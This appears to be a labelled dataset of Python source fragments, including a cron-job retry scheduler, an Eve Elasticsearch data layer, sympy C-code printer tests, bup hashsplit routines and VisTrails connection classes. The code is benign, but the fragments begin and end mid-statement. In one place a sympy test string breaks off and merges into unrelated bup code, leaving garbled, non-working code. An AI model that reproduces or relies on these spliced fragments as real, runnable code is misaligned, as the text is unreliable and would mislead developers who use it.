return_when=asyncio.FIRST_COMPLETED, ) done_jobs = set() for job, task in list(wait_tasks.items()): if task in done_tasks: done_jobs.add(job) for job in done_jobs: task = wait_tasks.pop(job) try: task.result() except Exception: # pragma: no cover logger.exception(""please report this as a bug (2)"") jobs_list = self.running_jobs[job.config.name] jobs_list.remove(job) if not jobs_list: del self.running_jobs[job.config.name] fail_reason = job.fail_reason logger.info( ""Job %s exit code %s; has stdout: %s, "" ""has stderr: %s; fail_reason: %r"", job.config.name, job.retcode, str(bool(job.stdout)).lower(), str(bool(job.stderr)).lower(), fail_reason, ) if fail_reason is not None: await self.handle_job_failure(job) else: await self.handle_job_success(job) except asyncio.CancelledError: raise except Exception: # pragma: no cover logger.exception(""please report this as a bug (3)"") await asyncio.sleep(1) async def handle_job_failure(self, job: RunningJob) -> None: if self._stop_event.is_set(): return if job.stdout: logger.info( ""Job %s STDOUT:\n%s"", job.config.name, job.stdout.rstrip() ) if job.stderr: logger.info( ""Job %s STDERR:\n%s"", job.config.name, job.stderr.rstrip() ) await job.report_failure() # Handle retries... state = job.retry_state if state is None or state.cancelled: await job.report_permanent_failure() return logger.debug( ""Job %s has been retried %i times"", job.config.name, state.count ) if state.task is not None: if state.task.done(): await state.task else: state.task.cancel() retry = job.config.onFailure[""retry""] if ( state.count >= retry[""maximumRetries""] and retry[""maximumRetries""] != -1 ): await self.cancel_job_retries(job.config.name) await job.report_permanent_failure() else: retry_delay = state.next_delay() state.task = create_task( self.schedule_retry_job( job.config.name, retry_delay, state.count ) ) async def schedule_retry_job( self, job_name: str, delay: float, retry_num: int ) -> None: logger.info( ""Cron job %s scheduled to be retried (#%i) "" ""in %.1f seconds"", job_name, retry_num, delay, ) await asyncio.sleep(delay) try: job = self.cron_jobs[job_name] except KeyError: logger.warning( ""Cron job %s was scheduled for retry, but "" ""disappeared from the configuration"", job_name, ) await self.maybe_launch_job(job) async def handle_job_success(self, job: RunningJob) -> None: await self.cancel_job_retries(job.config.name) await job.report_success() async def cancel_job_retries(self, name: str) -> None: try: state = self.retry_state.pop(name) except KeyError: return state.cancelled = True if state.task is not None: if state.task.done(): await state.task else: state.task.cancel() ",1 "o.base import DataLayer try: from urllib.parse import urlparse except ImportError: from urlparse import urlparse def parse_date(date_str): """"""Parse elastic datetime string."""""" try: date = arrow.get(date_str) except TypeError: date = arrow.get(date_str[0]) return date.datetime def get_dates(schema): """"""Return list of datetime fields for given schema."""""" dates = [config.LAST_UPDATED, config.DATE_CREATED] for field, field_schema in schema.items(): if field_schema['type'] == 'datetime': dates.append(field) return dates def format_doc(hit, schema, dates): """"""Format given doc to match given schema."""""" doc = hit.get('_source', {}) doc.setdefault(config.ID_FIELD, hit.get('_id')) doc.setdefault('_type', hit.get('_type')) for key in dates: if key in doc: doc[key] = parse_date(doc[key]) return doc def noop(): pass def is_elastic(datasource): """"""Detect if given resource uses elastic."""""" return datasource.get('backend') == 'elastic' or datasource.get('search_backend') == 'elastic' class ElasticJSONSerializer(elasticsearch.JSONSerializer): """"""Customize the JSON serializer used in Elastic"""""" def default(self, value): """"""Convert mongo.ObjectId."""""" if isinstance(value, ObjectId): return str(value) return super(ElasticJSONSerializer, self).default(value) class ElasticCursor(object): """"""Search results cursor."""""" no_hits = {'hits': {'total': 0, 'hits': []}} def __init__(self, hits=None, docs=None): """"""Parse hits into docs."""""" self.hits = hits if hits else self.no_hits self.docs = docs if docs else [] def __getitem__(self, key): return self.docs[key] def first(self): """"""Get first doc."""""" return self.docs[0] if self.docs else None def count(self, **kwargs): """"""Get hits count."""""" return int(self.hits['hits']['total']) def extra(self, response): """"""Add extra info to response."""""" if 'facets' in self.hits: response['_facets'] = self.hits['facets'] if 'aggregations' in self.hits: response['_aggregations'] = self.hits['aggregations'] def set_filters(query, base_filters): """"""Put together all filters we have and set them as 'and' filter within filtered query. :param query: elastic query being constructed :param base_filters: all filters set outside of query (eg. resource config, sub_resource_lookup) """""" filters = [f for f in base_filters if f is not None] query_filter = query['query']['filtered'].get('filter', None) if query_filter is not None: if 'and' in query_filter: filters.extend(query_filter['and']) else: filters.append(query_filter) if filters: query['query']['filtered']['filter'] = {'and': filters} def set_sort(query, sort): query['sort'] = [] for (key, sortdir) in sort: sort_dict = dict([(key, 'asc' if sortdir > 0 else 'desc')]) query['sort'].append(sort_dict) def get_es(url): o = urlparse(url) es = elasticsearch.Elasticsearch(hosts=[{'host': o.hostname, 'port': o.port}]) es.transport.serializer = ElasticJSONSerializer() return es def get_indices(es): return elasticsearch.client.IndicesClient(es) class Elastic(DataLayer): """"""ElasticSearch data layer."""""" serializers = { 'integer': int, 'datetime': parse_date, 'objectid': ObjectId, } def init_app(self, app): app.config.setdefault('ELASTICSEARCH_URL', 'http://localhost:9200/') app.config.setdefault('ELASTICSEARCH_INDEX', 'eve') self.index = app.config['ELASTICSEARCH_INDEX'] self.es = get_es(app.config['ELASTICSEARCH_URL']) self.create_index(self.index) self.put_mapping(app) def _get_field_mapping(self, schema): """"""Get mapping for given field schema."""""" if 'mapping' in schema: return schema['mapping'] elif schema['type'] == 'datetime': return {'type': 'date'} elif schema['type'] == 'string' and schema.get('unique'): return {'type': 'string', 'index': 'not_analyzed'} def create_index(self, index=None): if index is None: index = self.index try: get_indices(self.es).create(self.index) except elasticsearch.TransportError: pass def put_mapping(self, app): """"""Put mapping for elasticsearch for current schema. It's not called automatically now, but rather left for user to call it whenever it makes sense. """""" indices = get_indices(self.es) for resource, resource_config in app.config['DOMAIN'].items(): datasource = resource_config.get('datasource', {}) if not is_elastic(datasource): continue if datasource.get('source', resource) != resource: # only put mapping for core types continue properties = {} properties[config.DATE_CREATED] = self._get_field_mapping({'type': 'datetime'}) properties[config.LAST_UPDATED] = self._get_field_mapping({'type': 'datetime'}) for field, schema in resource_config['schema'].items(): field_mapping = self._get_field_mapping(schema) if field_mapping: properties[field] = field_mapping mapping = {'properties': properties} indices.put_mapping(index=self.index, doc_type=resource, body=mapping, ignore_conflicts=True) def find(self, resource, req, sub_resource_lookup): args = getattr(req, 'args', request.args if request else {}) source_config = config.SOURCES[resource] if args.get('source'): query = json.loads(args.get('source')) if 'filtered' not in query.get('query', {}): _query = query.get('query') query['query'] = {'filtered': {}} if _query: query['query']['filtered']['query'] = _query else: query = {'query': {'filtered': {}}} if args.get('q', None): query['query']['filtered']['query'] = _build_query_string(args.get('q'), default_field=args.get('df', '_all')) if 'sort' not in query: if req.sort: sort = ast.literal_eval(req.sort) set_sort(query, sort) elif self._default_sort(resource) and 'query' not in query['query']['filtered']: set_sort(query, self._default_sort(resource)) if req.max_results: query.setdefault('size', req.max_results) if req.page > 1: query.setdefault('from', (req.page - 1) * req.max_results) filters = [] filters.append(source_config.get('elastic_filter')) filters.append(source_config.get('elastic_filter_callback', noop)()) filters.append({'term': sub_resource_lookup} if sub_resource_lookup else None) filters.append(json.loads(args.get('filter')) if 'filter' in args else None) set_filters(query, filters) if 'facets' in source_config: query['facets'] = source_config['facets'] if 'aggregations' in source_config: query['aggs'] = source_config['aggregations'] args = self._es_args(resource) hits = self.es.search(body=query, **args) return self._parse_hits(hits, resource) def find_one(self, resource, req, **lookup): def is_found(hit): if 'exists' in hit: hit['found'] = hit['exists'] return hit.get('found', False) args = self._es_args(resource) if config.ID_FIELD in lookup: try: hit = self.es.get(id=lookup[config.ID_FIELD], **args) except elasticsearch.NotFoundError: return if not is_found(hit): return docs = self._parse_hits({'hits': {'hits': [hit]}}, resource) return docs.first() else: query = { 'query': { 'term': lookup } } try: args['size'] = 1 hits = self.es.search(body=query, **args) docs = self._parse_hits(hits, resource) return docs.first() except elasticsearch.NotFoundError: return def find_one_raw(self, resource, _id): args = self._es_args(resource) hit = self.es.get(id=_id, **args) return self._parse_hits({'hits': {'hits': [hit]}}, resource).first() def find_list_of_ids(self, resource, ids, client_projection=None): args = self._es_args(resource) return self._parse_hits(self.es.multi_get(ids, **args), resource) def insert(self, resource, doc_or_docs, **kwargs): ids = [] kwargs.update(self._es_args(resource)) for doc in doc_or_docs: doc.update(self.es.index(body=doc, id=doc.get('_id'), **kwargs)) ids.append(doc['_id']) get_indices(self.es).refresh(self.index) return ids def update(self, resource, id_, updates): args = self._es_args(resource, refresh=True) return self.es.update(id=id_, body={'doc': updates}, **args) def replace(self, resource, id_, document): args = self._es_args(resource, refresh=True) return self.es.index(body=document, id=id_, **args) def remove(self, resource, lookup=None): args = self._es_args(resource) if lookup: try: return self.es.delete(id=lookup.get('_id'), refresh=True, **args) except elasticsearch.NotFoundError: return else: query = {'query': {'match_all': {}}} return self.es.delete_by_query(body=query, **args) def is_empty(self, resource): args = self._es_args(resource) res = self.es.count(body={'query': {'match_all': {}}}, **args) return res.get('count', 0) == 0 def get_mapping(self, index, doc_type=None): return get_indices(self.es).get_mapping(index=index, doc_type=doc_type) def _parse_hits(self, hits, resource): """"""Parse hits response into documents."""""" datasource = self._datasource(resource) schema = config.DOMAIN[datasource[0]]['schema'] dates = get_dates(schema) docs = [] for hit in hits.get('hits', {}).get('hits', []): docs.append(format_doc(hit, schema, dates)) return ElasticCursor(hits, docs) def _es_args(self, resource, refresh=None): """"""Get index and doctype args."""""" datasource = self._datasource(resource) args = { 'index': self.index, 'doc_type': datasource[0], } if refresh: args['refresh'] = refresh return args def _fields(self, resource): """"""Get projection fields for given resource."""""" datasource = self._datasource(resource) keys = datasource[2].keys() return ','.join(keys) + ','.join([config.LAST_UPDATED, config.DATE_CREATED]) def _default_sort(self, resource): datasource = self._datasource(resource) return datasource[3] def build_elastic_query(doc): """""" Builds a query which follows ElasticSearch syntax from doc. 1. Converts {""q"":""cricket""} to the below elastic query { ""query"": { ""filtered"": { ""query"": { ""query_string"": { ""query"": ""cricket"", ""lenient"": false, ""default_operator"": ""AND"" } } } } } 2. Converts a faceted query {""q"":""cricket"", ""type"":['text'], ""source"": ""AAP""} to the below elastic query { ""query"": { ""filtered"": { ""filter"": { ""and"": [ {""terms"": {""type"": [""text""]}}, {""term"": {""source"": ""AAP""}} ] }, ""query"": { ""query_string"": { ""query"": ""cricket"", ""lenient"": false, ""default_operator"": ""AND"" } } } } } :param doc: A document object which is inline with the syntax specified in the examples. It's the developer responsibility to pass right object. :returns ElasticSearch query """""" elastic_query, filters = {""query"": {""filtered"": {}}}, [] for key in doc.keys(): if key == 'q': elastic_query['query']['filtered']['query'] = _build_query_string(doc['q']) else: _value = doc[key] filters.append({""terms"": {key: _value}} if isinstance(_value, list) else {""term"": {key: _value}}) set_filters(elastic_query, filters) return elastic_query def _build_query_string(q, default_field=None): """""" Builds ""query_string"" object from 'q'. :param: q of type String :param: default_field :return: dictionary object. """""" query_string = {'query_string': {'query': q, 'default_operator': 'AND'}} query_string['query_string'].update({'lenient': False} if default_field else {'default_field': default_field}) return query_string ",1 " without #modification, are permitted provided that the following conditions are met: # #1. Redistributions of source code must retain the above copyright notice, this # list of conditions and the following disclaimer. #2. Redistributions in binary form must reproduce the above copyright notice, # this list of conditions and the following disclaimer in the documentation # and/or other materials provided with the distribution. # #THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" AND #ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED #WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE #DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR #ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES #(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; #LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND #ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT #(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS #SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # #The views and conclusions contained in the software and documentation are those #of the authors and should not be interpreted as representing official policies, #either expressed or implied, of the FreeBSD Project. ''' Created on Dec 16, 2014 @author: Jaakko Leppakangas ''' import sys from PyQt4 import QtGui from ui.preprocessDialog import PreprocessDialog def main(): app = QtGui.QApplication(sys.argv) window=PreprocessDialog() window.show() sys.exit(app.exec_()) if __name__ == '__main__': main() ",1 "License, Version 2.0 (the ""License""); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ---------------------------------------------------------------------------- ''' Test BLEUScore metric against reference ''' from neon.transforms.cost import BLEUScore def test_bleuscore(): # dataset with two sentences sentences = [""a quick brown fox jumped"", ""the rain in spain falls mainly on the plains""] references = [[""a fast brown fox jumped"", ""a quick brown fox vaulted"", ""a rapid fox of brown color jumped"", ""the dog is running on the grass""], [""the precipitation in spain falls on the plains"", ""spanish rain falls for the most part on the plains"", ""the rain in spain falls in the plains most of the time"", ""it is raining today""]] # reference scores for the given set of reference sentences bleu_score_references = [92.9, 88.0, 81.5, 67.1] # bleu1, bleu2, bleu3, bleu4 # compute scores bleu_metric = BLEUScore() bleu_metric(sentences, references) # check against references for score, reference in zip(bleu_metric.bleu_n, bleu_score_references): assert round(score, 1) == reference if __name__ == '__main__': test_bleuscore() ",1 "iecewise, sin, cos, Abs, exp, ceiling, sqrt, gamma from sympy.utilities.pytest import raises from sympy.printing.ccode import CCodePrinter from sympy.utilities.lambdify import implemented_function from sympy.tensor import IndexedBase, Idx # import test from sympy import ccode x, y, z = symbols('x,y,z') g = Function('g') def test_printmethod(): class fabs(Abs): def _ccode(self, printer): return ""fabs(%s)"" % printer._print(self.args[0]) assert ccode(fabs(x)) == ""fabs(x)"" def test_ccode_sqrt(): assert ccode(sqrt(x)) == ""sqrt(x)"" assert ccode(x**0.5) == ""sqrt(x)"" assert ccode(sqrt(x)) == ""sqrt(x)"" def test_ccode_Pow(): assert ccode(x**3) == ""pow(x, 3)"" assert ccode(x**(y**3)) == ""pow(x, pow(y, 3))"" assert ccode(1/(g(x)*3.5)**(x - y**x)/(x**2 + y)) == \ ""pow(3.5*g(x), -x + pow(y, x))/(pow(x, 2) + y)"" assert ccode(x**-1.0) == '1.0/x' assert ccode(x**Rational(2, 3)) == 'pow(x, 2.0L/3.0L)' _cond_cfunc = [(lambda base, exp: exp.is_integer, ""dpowi""), (lambda base, exp: not exp.is_integer, ""pow"")] assert ccode(x**3, user_functions={'Pow': _cond_cfunc}) == 'dpowi(x, 3)' assert ccode(x**3.2, user_functions={'Pow': _cond_cfunc}) == 'pow(x, 3.2)' def test_ccode_constants_mathh(): assert ccode(exp(1)) == ""M_E"" assert ccode(pi) == ""M_PI"" assert ccode(oo) == ""HUGE_VAL"" assert ccode(-oo) == ""-HUGE_VAL"" def test_ccode_constants_other(): assert ccode(2*GoldenRatio) == ""double const GoldenRatio = 1.61803398874989;\n2*GoldenRatio"" assert ccode( 2*Catalan) == ""double const Catalan = 0.915965594177219;\n2*Catalan"" assert ccode(2*EulerGamma) == ""double const EulerGamma = 0.577215664901533;\n2*EulerGamma"" def test_ccode_Rational(): assert ccode(Rational(3, 7)) == ""3.0L/7.0L"" assert ccode(Rational(18, 9)) == ""2"" assert ccode(Rational(3, -7)) == ""-3.0L/7.0L"" assert ccode(Rational(-3, -7)) == ""3.0L/7.0L"" assert ccode(x + Rational(3, 7)) == ""x + 3.0L/7.0L"" assert ccode(Rational(3, 7)*x) == ""(3.0L/7.0L)*x"" def test_ccode_Integer(): assert ccode(Integer(67)) == ""67"" assert ccode(Integer(-1)) == ""-1"" def test_ccode_functions(): assert ccode(sin(x) ** cos(x)) == ""pow(sin(x), cos(x))"" def test_ccode_inline_function(): x = symbols('x') g = implemented_function('g', Lambda(x, 2*x)) assert ccode(g(x)) == ""2*x"" g = implemented_function('g', Lambda(x, 2*x/Catalan)) assert ccode( g(x)) == ""double const Catalan = %s;\n2*x/Catalan"" % Catalan.n() A = IndexedBase('A') i = Idx('i', symbols('n', integer=True)) g = implemented_function('g', Lambda(x, x*(1 + x)*(2 + x))) assert ccode(g(A[i]), assign_to=A[i]) == ( ""for (int i=0; i= 0) assert(count >= 0) if count > 0: _helpers.fadvise_done(fd, first_page * sc_page_size, count * sc_page_size) def _nonresident_page_regions(status_bytes, max_region_len=None): """"""Return (start_page, count) pairs in ascending start_page order for each contiguous region of nonresident pages indicated by the mincore() status_bytes. Limit the number of pages in each region to max_region_len."""""" assert(max_region_len is None or max_region_len > 0) start = None for i, x in enumerate(status_bytes): in_core = x & helpers.MINCORE_INCORE if start is None: if not in_core: start = i else: count = i - start if in_core: yield (start, count) start = None elif max_region_len and count >= max_region_len: yield (start, count) start = i if start is not None: yield (start, len(status_bytes) - start) def _uncache_ours_upto(fd, offset, first_region, remaining_regions): """"""Uncache the pages of fd indicated by first_region and remaining_regions that are before offset, where each region is a (start_page, count) pair. The final region must have a start_page of None."""""" rstart, rlen = first_region while rstart is not None and (rstart + rlen) * sc_page_size <= offset: _fadvise_pages_done(fd, rstart, rlen) rstart, rlen = next(remaining_regions, (None, None)) return (rstart, rlen) def readfile_iter(files, progress=None): for filenum,f in enumerate(files): ofs = 0 b = '' fd = rpr = rstart = rlen = None if _fmincore and hasattr(f, 'fileno'): fd = f.fileno() max_chunk = max(1, (8 * 1024 * 1024) / sc_page_size) rpr = _nonresident_page_regions(_fmincore(fd), max_chunk) rstart, rlen = next(rpr, (None, None)) while 1: if progress: progress(filenum, len(b)) b = f.read(BLOB_READ_SIZE) ofs += len(b) if rpr: rstart, rlen = _uncache_ours_upto(fd, ofs, (rstart, rlen), rpr) if not b: break yield b if rpr: rstart, rlen = _uncache_ours_upto(fd, ofs, (rstart, rlen), rpr) def _splitbuf(buf, basebits, fanbits): while 1: b = buf.peek(buf.used()) (ofs, bits) = _helpers.splitbuf(b) if ofs: if ofs > BLOB_MAX: ofs = BLOB_MAX level = 0 else: level = (bits-basebits)//fanbits # integer division buf.eat(ofs) yield buffer(b, 0, ofs), level else: break while buf.used() >= BLOB_MAX: # limit max blob size yield buf.get(BLOB_MAX), 0 def _hashsplit_iter(files, progress): assert(BLOB_READ_SIZE > BLOB_MAX) basebits = _helpers.blobbits() fanbits = int(math.log(fanout or 128, 2)) buf = Buf() for inblock in readfile_iter(files, progress): buf.put(inblock) for buf_and_level in _splitbuf(buf, basebits, fanbits): yield buf_and_level if buf.used(): yield buf.get(buf.used()), 0 def _hashsplit_iter_keep_boundaries(files, progress): for real_filenum,f in enumerate(files): if progress: def prog(filenum, nbytes): # the inner _hashsplit_iter doesn't know the real file count, # so we'll replace it here. return progress(real_filenum, nbytes) else: prog = None for buf_and_level in _hashsplit_iter([f], progress=prog): yield buf_and_level def hashsplit_iter(files, keep_boundaries, progress): if keep_boundaries: return _hashsplit_iter_keep_boundaries(files, progress) else: return _hashsplit_iter(files, progress) total_split = 0 def split_to_blobs(makeblob, files, keep_boundaries, progress): global total_split for (blob, level) in hashsplit_iter(files, keep_boundaries, progress): sha = makeblob(blob) total_split += len(blob) if progress_callback: progress_callback(len(blob)) yield (sha, len(blob), level) def _make_shalist(l): ofs = 0 l = list(l) total = sum(size for mode,sha,size, in l) vlen = len('%x' % total) shalist = [] for (mode, sha, size) in l: shalist.append((mode, '%0*x' % (vlen,ofs), sha)) ofs += size assert(ofs == total) return (shalist, total) def _squish(maketree, stacks, n): i = 0 while i < n or len(stacks[i]) >= MAX_PER_TREE: while len(stacks) <= i+1: stacks.append([]) if len(stacks[i]) == 1: stacks[i+1] += stacks[i] elif stacks[i]: (shalist, size) = _make_shalist(stacks[i]) tree = maketree(shalist) stacks[i+1].append((GIT_MODE_TREE, tree, size)) stacks[i] = [] i += 1 def split_to_shalist(makeblob, maketree, files, keep_boundaries, progress=None): sl = split_to_blobs(makeblob, files, keep_boundaries, progress) assert(fanout != 0) if not fanout: shal = [] for (sha,size,level) in sl: shal.append((GIT_MODE_FILE, sha, size)) return _make_shalist(shal)[0] else: stacks = [[]] for (sha,size,level) in sl: stacks[0].append((GIT_MODE_FILE, sha, size)) _squish(maketree, stacks, level) #log('stacks: %r\n' % [len(i) for i in stacks]) _squish(maketree, stacks, len(stacks)-1) #log('stacks: %r\n' % [len(i) for i in stacks]) return _make_shalist(stacks[-1])[0] def split_to_blob_or_tree(makeblob, maketree, files, keep_boundaries, progress=None): shalist = list(split_to_shalist(makeblob, maketree, files, keep_boundaries, progress)) if len(shalist) == 1: return (shalist[0][0], shalist[0][2]) elif len(shalist) == 0: return (GIT_MODE_FILE, makeblob('')) else: return (GIT_MODE_TREE, maketree(shalist)) def open_noatime(name): fd = _helpers.open_noatime(name) try: return os.fdopen(fd, 'rb', 1024*1024) except: try: os.close(fd) except: pass raise ",1 "_init__(self, *args, **kwargs): super(VerboseCommandMixin, self).__init__(*args, **kwargs) self.dry_run = False if supports_color(): opts = ('bold',) self.style.EXISTS = \ termcolors.make_style(fg='blue', opts=opts) self.style.APPEND = \ termcolors.make_style(fg='yellow', opts=opts) self.style.CREATE = \ termcolors.make_style(fg='green', opts=opts) self.style.REVERT = \ termcolors.make_style(fg='magenta', opts=opts) self.style.BACKUP = \ termcolors.make_style(fg='cyan', opts=opts) def msg(self, action, path): is_withholding_action = False non_actions = set(['create', 'append', 'revert']) if self.dry_run and action in non_actions: is_withholding_action = True if hasattr(self.style, action.upper()): s = getattr(self.style, action.upper()) action = s(action) if is_withholding_action: action = self.style.NOTICE('did not ') + action output = '\t{0:>25}\t{1:<}\n'.format(action, os.path.relpath(path)) self.stdout.write(output) def log(self, output): if self.verbose: self.stdout.write(output) ",1 "011-2014, NYU-Poly. ## Copyright (C) 2006-2011, University of Utah. ## All rights reserved. ## Contact: contact@vistrails.org ## ## This file is part of VisTrails. ## ## ""Redistribution and use in source and binary forms, with or without ## modification, are permitted provided that the following conditions are met: ## ## - Redistributions of source code must retain the above copyright notice, ## this list of conditions and the following disclaimer. ## - Redistributions in binary form must reproduce the above copyright ## notice, this list of conditions and the following disclaimer in the ## documentation and/or other materials provided with the distribution. ## - Neither the name of the New York University nor the names of its ## contributors may be used to endorse or promote products derived from ## this software without specific prior written permission. ## ## THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ""AS IS"" ## AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, ## THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR ## PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR ## CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, ## EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, ## PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; ## OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, ## WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR ## OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ## ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."" ## ############################################################################### from __future__ import division """""" This python module defines Connection class. """""" import copy from vistrails.db.domain import DBConnection from vistrails.core.vistrail.port import PortEndPoint, Port import unittest from vistrails.db.domain import IdScope ################################################################################ class Connection(DBConnection): """""" A Connection is a connection between two modules. Right now there's only Module connections. """""" ########################################################################## # Constructors and copy @staticmethod def from_port_specs(source, dest): """"""from_port_specs(source: PortSpec, dest: PortSpec) -> Connection Static method that creates a Connection given source and destination ports. """""" conn = Connection() conn.source = copy.copy(source) conn.destination = copy.copy(dest) return conn @staticmethod def fromID(id): """"""fromTypeID(id: int) -> Connection Static method that creates a Connection given an id. """""" conn = Connection() conn.id = id conn.source.endPoint = PortEndPoint.Source conn.destination.endPoint = PortEndPoint.Destination return conn def __init__(self, *args, **kwargs): """"""__init__() -> Connection Initializes source and destination ports. """""" DBConnection.__init__(self, *args, **kwargs) if self.id is None: self.db_id = -1 if not len(self.ports) > 0: self.source = Port(type='source') self.destination = Port(type='destination') def __copy__(self): """"""__copy__() -> Connection - Returns a clone of self. """""" return Connection.do_copy(self) def do_copy(self, new_ids=False, id_scope=None, id_remap=None): cp = DBConnection.do_copy(self, new_ids, id_scope, id_remap) cp.__class__ = Connection for port in cp.ports: Port.convert(port) return cp ########################################################################## @staticmethod def convert(_connection): # print ""ports: %s"" % _Connection._get_ports(_connection) if _connection.__class__ == Connection: return _connection.__class__ = Connection for port in _connection.ports: Port.convert(port) ########################################################################## # Properties id = DBConnection.db_id ports = DBConnection.db_ports def add_port(self, port): self.db_add_port(port) def _get_sourceId(self): """""" _get_sourceId() -> int Returns the module id of source port. Do not use this function, use sourceId property: c.sourceId """""" return self.source.moduleId def _set_sourceId(self, id): """""" _set_sourceId(id : int) -> None Sets this connection source id. It updates both self.source.moduleId and self.source.id. Do not use this function, use sourceId property: c.sourceId = id """""" self.source.moduleId = id self.source.id = id sourceId = property(_get_sourceId, _set_sourceId) def _get_destinationId(self): """""" _get_destinationId() -> int Returns the module id of dest port. Do not use this function, use sourceId property: c.destinationId """""" return self.destination.moduleId def _set_destinationId(self, id): """""" _set_destinationId(id : int) -> None Sets this connection destination id. It updates self.dest.moduleId. Do not use this function, use destinationId property: c.destinationId = id """""" self.destination.moduleId = id destinationId = property(_get_destinationId, _set_destinationId) def _get_source(self): """"""_get_source() -> Port Returns source port. Do not use this function, use source property: c.source """""" try: return self.db_get_port_by_type('source') except KeyError: pass return None def _set_source(self, source): """"""_set_source(source: Port) -> None Sets this connection source port. Do not use this function, use source property instead: c.source = source """""" try: port = self.db_get_port_by_type('source') self.db_delete_port(port) except KeyError: pass if source is not None: self.db_add_port(source) source = property(_get_source, _set_source) def _get_destination(self): """"""_get_destination() -> Port Returns destination port. Do not use this function, use destination property: c.destination """""" # return self.db_ports['destination'] try: return self.db_get_port_by_type('destination') except KeyError: pass return None def _set_destination(self, dest): """"""_set_destination(dest: Port) -> None Sets this connection destination port. Do not use this function, use destination property instead: c.destination = dest """""" try: port = self.db_get_port_by_type('destination') self.db_delete_port(port) except KeyError: pass if dest is not None: self.db_add_port(dest) destination = property(_get_destination, _set_destination) dest = property(_get_destination, _set_destination) ########################################################################## # Operators def __str__(self): """"""__str__() -> str - Returns a string representation of a Connection object. """""" rep = ""%s%s"" return rep % (str(self.id), str(self.source), str(self.destination)) def __ne__(self, other): return not self.__eq__(other) def __eq__(self, other): if type(other) != type(self): return False return (self.source == other.source and self.dest == other.dest) def equals_no_id(self, other): """"""Checks equality up to ids (connection and ports)."""""" if type(self) != type(other): return False return (self.source.equals_no_id(other.source) and self.dest.equals_no_id(other.dest)) ################################################################################ # Testing class TestConnection(unittest.TestCase): def create_connection(self, id_scope=IdScope()): from vistrails.core.vistrail.port import Port from vistrails.core.modules.basic_modules import identifier as basic_pkg source = Port(id=id_scope.getNewId(Port.vtType), type='source', moduleId=21L, moduleName='String', name='value', signature='(%s:String)' % basic_pkg) destination = Port(id=id_scope.getNewId(Port.vtType), type='destination', moduleId=20L, moduleName='Float', name='value', signature='(%s:Float)' % basic_pkg) connection = Connection(id=id_scope.getNewId(Connection.vtType), ports=[source, destination]) return connection def test_copy(self): id_scope = IdScope() c1 = self.create_connection(id_scope) c2 = copy.copy(c1) self.assertEquals(c1, c2) self.assertEquals(c1.id, c2.id) c3 = c1.do_copy(True, id_scope, {}) self.assertEquals(c1, c3) self.assertNotEquals(c1.id, c3.id) def test_serialization(self): import vistrails.core.db.io c1 = self.create_connection() xml_str = vistrails.core.db.io.serialize(c1) c2 = vistrails.core.db.io.unserialize(xml_str, Connection) self.assertEquals(c1, c2) self.assertEquals(c1.id, c2.id) def testEmptyConnection(self): """"""Tests sane initialization of empty connection"""""" c = Connection() self.assertEquals(c.source.endPoint, PortEndPoint.Source) self.assertEquals(c.destination.endPoint, PortEndPoint.Destination) if __name__ == '__main__': unittest.main() ",1 "MMA # A Document is a ""bag-of-words"" that splits a string into words and counts them. # A list of words or dictionary of (word, count)-items can also be given. # Words (or more generally ""features"") and their word count (""feature weights"") # can be used to compare documents. The word count in a document is normalized # between 0.0-1.0 so that shorted documents can be compared to longer documents. # Words can be stemmed or lemmatized before counting them. # The purpose of stemming is to bring variant forms a word together. # For example, ""conspiracy"" and ""conspired"" are both stemmed to ""conspir"". # Nowadays, lemmatization is usually preferred over stemming, # e.g., ""conspiracies"" => ""conspiracy"", ""conspired"" => ""conspire"". s = """""" The shuttle Discovery, already delayed three times by technical problems and bad weather, was grounded again Friday, this time by a potentially dangerous gaseous hydrogen leak in a vent line attached to the ship's external tank. The Discovery was initially scheduled to make its 39th and final flight last Monday, bearing fresh supplies and an intelligent robot for the International Space Station. But complications delayed the flight from Monday to Friday, when the hydrogen leak led NASA to conclude that the shuttle would not be ready to launch before its flight window closed this Monday. """""" # With threshold=1, only words that occur more than once are counted. # With stopwords=False, words like ""the"", ""and"", ""I"", ""is"" are ignored. document = Document(s, threshold=1, stopwords=False) print document.words print # The /corpus folder contains texts mined from Wikipedia. # Below is the mining script (we already executed it for you): #import os, codecs #from pattern.web import Wikipedia # #w = Wikipedia() #for q in ( # ""badger"", ""bear"", ""dog"", ""dolphin"", ""lion"", ""parakeet"", # ""rabbit"", ""shark"", 